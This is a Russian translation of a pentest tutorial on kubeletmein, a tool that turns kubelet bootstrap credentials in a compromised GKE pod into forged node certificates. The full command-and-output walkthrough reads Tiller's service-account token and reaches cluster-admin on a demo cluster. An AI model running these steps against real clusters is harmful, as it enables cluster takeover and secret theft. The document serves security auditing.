24.03.2019

Kubeletmein - утилита для повышения привилегий в кластерах Kubernetes

image

Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet

Автор: Marc Wickenden

Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet, и расширения привилегий внутри кластера на базе Kubernetes.

Чтобы понять предысторию вопроса, рекомендую ознакомиться со статьей «Kubelet hacking on GKE».

Введение

Kubeletmein представляет собой одиночный бинарный файл, который вы можете загрузить в скомпрометированную рабочую единицу (pod) кластера на базе GKE (Google Kubernetes Engine) для чтения атрибутов экземпляра метаданных, генерации и отправки CSR (certificate signing request; запрос на получение сертификата). Будет сформирован файл kubeconfig, который вы можете использовать при работе с командой kubectl. Демонстрируемая утилита экономит массу времени по сравнению с тем, если бы вы работали с curl и openssl, которых, к тому же, может не оказаться в скомпрометированном контейнере.

Исходный код и скомпилированные релизы находятся по адресу https://github.com/4armed/kubeletmein. Внесение изменений и pull-запросы также приветствуется.

Установка демонстрационного кластера

Вначале по-быстрому развернем кластер на базе Google Kubernetes Engine. Предполагается, что у вас есть аккаунт в Google Cloud с включенным биллингом, проект настроен, и учетная запись активирована на рабочей станции. В противном случае сначала сходите по адресу https://cloud.google.com/. У этого сервиса предусмотрено щедрое кредитное предложение, если вы хотите опробовать технологию.

Если в Cloud Console вы одобрили настройки, используемые по умолчанию для стандартного кластера, то без проблем должны оказаться в командной строке. Я изменил только следующее:

  • Отключена базовая HTTP-аутентификация.

  • Отключены клиентские сертификаты.

  • Включено авто масштабирование при помощи пула узлов (минимум 1, максимум 3).

  • Включено использование выгружаемых узлов.

Для создания и активации кластера используем следующую команду:

$ gcloud beta container clusters create "cluster0" --zone "us-central1-a" --no-enable-basic-auth --cluster-version "1.9.7-gke.11" --machine-type "n1-standard-1" --image-type "COS" --disk-type "pd-standard" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --preemptible --num-nodes "1" --enable-cloud-logging --enable-cloud-monitoring --no-enable-ip-alias --network "default" --subnetwork "default" --enable-autoscaling --min-nodes "1" --max-nodes "3" --addons HorizontalPodAutoscaling,HttpLoadBalancing,KubernetesDashboard --enable-autoupgrade --enable-autorepair

Кластер работает.

Creating cluster cluster0 in us-central1-a...done.
kubeconfig entry generated for cluster0.
NAME      LOCATION       MASTER_VERSION MASTER_IP     MACHINE_TYPE   NODE_VERSION NUM_NODES STATUS
cluster0 us-central1-a 1.9.7-gke.11    35.188.62.53 n1-standard-1 1.9.7-gke.11 3          RUNNING

Чтобы сделать нашу жизнь более интересной и наметить цель для атаки, установим менеджер пакетов Helm. Более подробная инструкция по установке доступна по адресу https://docs.helm.sh/using_helm/#installing-helm. Я лишь по-быстрому установил права RBAC (Role-based-access-control; управление доступом на основе ролей) и компонент Tiller.

$ kubectl create -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
 name: tiller
 namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
 name: tiller
roleRef:
 apiGroup: rbac.authorization.k8s.io
 kind: ClusterRole
 name: cluster-admin
subjects:
 - kind: ServiceAccount
    name: tiller
    namespace: kube-system
EOF
serviceaccount "tiller" created
clusterrolebinding.rbac.authorization.k8s.io "tiller" created

Установка Tiller:

$ helm init --service-account tiller
Tiller (the Helm server-side component) has been installed into your Kubernetes Cluster.
 
Please note: by default, Tiller is deployed with an insecure 'allow unauthenticated users' policy.
To prevent this, run `helm init` with the --tiller-tls-verify flag.
For more information on securing your installation see: https://docs.helm.sh/using_helm/#securing-your-helm-installation

Happy Helming!

Обратите внимание на надпись выше и никогда не делайте подобную конфигурацию в реальной системе. Всегда используйте протокол TLS, а иначе вероятность того, что ваш кластер окажется скомпрометированным, увеличится во много раз. Мы делаем такие настройки исключительно в демонстрационной среде. Стоит также отметить, что TLS не сможет защитить от того, что мы собираемся делать.

После того как все установлено, приступаем к тестированию утилиты kubeletmein.

Загрузка и запуск kubeletmein

Запускаем контейнер в нашем кластере и приступаем к эксплуатации учетной записи, используемой kubelet, при помощи kubeletmein. В Alpine Linux все работает прекрасно.

$ kubectl run -ti --image=alpine --attach alpine -- sh
If you don't see a command prompt, try pressing enter.

$

Небольшое замечание. По умолчанию после запуска команды выше вы окажетесь в командной строке с символом # (то есть с правами суперпользователя). Я изменил эту настройку, поскольку в противном случае синтаксис кода на Bash будет подсвечивать все команды как комментарий.

Скачиваем kubectl для использования в дальнейшем.

$ wget https://storage.googleapis.com/kubernetes-release/release/$(wget -q -O - https://storage.googleapis.com/kubernetes-release/release/stable.txt)/
bin/linux/amd64/kubectl -O /usr/local/bin/kubectl && chmod +x /usr/local/bin/kubectl
Connecting to storage.googleapis.com (108.177.112.128:443)
kubectl              100% |*********************************************************************************************************************************| 38295k 0:00:00 ETA

Теперь скачиваем kubeletmein. Последняя версия на момент написания статьи - 0.5.3.

$ wget https://github.com/4ARMED/kubeletmein/releases/download/v0.5.3/kubeletmein_0.5.3_linux_amd64 -O /usr/local/bin/kubeletmein && chmod +x /usr/local/bin/kubeletmein
Connecting to github.com (192.30.253.112:443)
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (52.216.138.12:443)
kubeletmein          100% |*********************************************************************************************************************************| 21762k 0:00:00 ETA

Первым делом создаем файл bootstrap-kubeconfig, который содержит ключ/сертификат для kubelet из kube-env.

$ kubeletmein gke bootstrap
2018-12-06T13:43:26Z [] writing ca cert to: ca-certificates.crt
2018-12-06T13:43:26Z [] writing kubelet cert to: kubelet.crt
2018-12-06T13:43:26Z [] writing kubelet key to: kubelet.key
2018-12-06T13:43:26Z [] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2018-12-06T13:43:26Z [] wrote bootstrap-kubeconfig
2018-12-06T13:43:26Z [] now generate a new node certificate with: kubeletmein gke generate

Если захотите, то можете ознакомиться с содержимым созданного файла, который по умолчанию называется bootstrap-kubeconfig. При желании можно переопределить этот файл при помощи флага –b.

Теперь генерируем новый сертификат. На данный момент мы не знаем имена узлов внутри кластера, поэтому в качестве имени узла указываем «anything».

$ kubeletmein gke generate -n anything
2018-12-06T13:45:24Z [] using bootstrap-config to request new cert for node: anything
2018-12-06T13:45:24Z [] got new cert and wrote kubeconfig

2018-12-06T13:45:24Z [] now try: kubectl --kubeconfig kubeconfig get pods

Теперь в текущей директории у нас появился файл kubeconfig с доступом system:nodes на базе сертификата из директории ./pki. Пробуем.

$ kubectl --kubeconfig kubeconfig get pods
NAME                              READY   STATUS    RESTARTS   AGE
alpine-5498978876-66bbs           1/1     Running   2          35m

Взлом Helm через учетную запись, используемую kubelet

Как было упомянуто в предыдущей статье, теперь мы можем получить секреты, но только для узлов, для которых есть сертификат. И здесь утилита kubeletmein значительно ускоряет весь процесс, поскольку генерирует и отправляет csr, а также создает файл kubeconfig.

Ищем местонахождение секрета токена для служебной учетной записи в Tiller.

 $ kubectl --kubeconfig kubeconfig get pods -l app=helm,name=tiller -n kube-system -o wide
NAME                             READY   STATUS    RESTARTS   AGE   IP          NODE                                      NOMINATED NODE   READINESS GATES
tiller-deploy-5c99b8bcbf-w7xq5   1/1     Running   0          18m   10.36.1.8   gke-cluster0-default-pool-eb80ec96-9n9f   <none>           <none>

По результатам выше видно, что Tiller установлен на узле gke-cluster0-default-pool-eb80ec96-9n9f, и нам понадобится соответствующий сертификат узла.

Вначале удаляем текущие сертификаты из директории ./pki (используемые по умолчанию).

$ rm pki/kubelet-client-*

Генерируем новый сертификат.

$ kubeletmein gke generate -n gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z [] using bootstrap-config to request new cert for node: gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z [] got new cert and wrote kubeconfig
2018-12-06T13:56:34Z [] now try: kubectl --kubeconfig kubeconfig get pods

Мы только создали новый файл kubeconfig. Теперь можно приступать к чтению секретов из узла gke-cluster0-default-pool-eb80ec96-9n9f.

$ kubectl --kubeconfig kubeconfig -n kube-system get pod tiller-deploy-5c99b8bcbf-w7xq5 -o jsonpath='{.spec.volumes[0].secret.secretName}{"\n"}'
tiller-token-mr4df
 
$ kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o yaml
apiVersion: v1
data:
 ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lR[..]SUNBVEUtLS0tLQo=
 namespace: a3ViZS1zeXN0ZW0=
 token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKcmRXSmxjbTVsZEdW[..]dDFZbVV0YzNsemRHVnRPblJwYkd4bGNpSjkuTFpoRnNrUENZYVg2cWlhVDBTeElkRmZGWm9xSDR3eGIxdHhCWkt1UUF0QXpNWGtLaDV0Tnk4MGFOdWRxU0RibTZyNXVhZ21JU2xDejl3VVdrY3lzeVU2dkFWLUdRcWtmVDV4cHIxQy04dUJYZ3pxSmRvM19HZldGVUpfcnZnZTFkd3Y4MW5IcGtuOWV5RGczeWY1SENWYy03LWN1RnRUdHRQU3lqQ2ppLVB1ZnQwZXpkb1h0WmpjcUFXakg0dXgtdXh4TjJRM21tU01sVkFzZGpNQy1zUmk5Y0otTW8wWEc0V0Nab3NTRF9vaHhLZ3pfWmhNd3Q5MnRDRHpUcFkzR1V6NWxVTmZLeTY2NzhTcEZwMVF4YjZWVTJybXd6anQyMHQwXy1weWFMZHJtRHlLdEpEc2NnZ2xHMm1aUFdMZjBUUjdxdUc5NFZYbGNkam9Zd0V3aFVB
kind: Secret
metadata:
 annotations:
    kubernetes.io/service-account.name: tiller
    kubernetes.io/service-account.uid: 9cba9310-f95b-11e8-a788-42010a800192
 creationTimestamp: "2018-12-06T13:34:10Z"
 name: tiller-token-mr4df
 namespace: kube-system
 resourceVersion: "4240"
 selfLink: /api/v1/namespaces/kube-system/secrets/tiller-token-mr4df
 uid: 9cbc8029-f95b-11e8-a788-42010a800192
type: kubernetes.io/service-account-token

Теперь мы получили секретный объект. Токен, как и все секреты в Kubernetes, представлены в кодировке base64.

Берем токен и декодируем в файл.

$ kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o jsonpath='{.data.token}' | base64 -d > tiller-token

Полученный токен можно использовать для доступа к API с привилегиями служебного аккаунта tiller.

$ kubectl --certificate-authority ca-certificates.crt --token `cat tiller-token` --server https://${KUBERNETES_PORT_443_TCP_ADDR} get secrets
NAME                     TYPE                                  DATA   AGE
default-token-cfbb5      kubernetes.io/service-account-token   3      66m
peeking-cardinal-mysql   Opaque                                2      28m

Заключение

Мы стали админом кластера с ролью cluster-admin. Результат неплохой с учетом того, что изначально у нас был непривилегированный контейнер и не использовался openssl.

Kubeletmein реализован для ускорения аудитов безопасности для кластеров на базе Kubernetes. Мы используем это приложения для выполнения пентестов.

Методы защиты от подобного рода атак относительно просты. За подробностями обращайтесь к нашей статье «Kubelet hacking on GKE».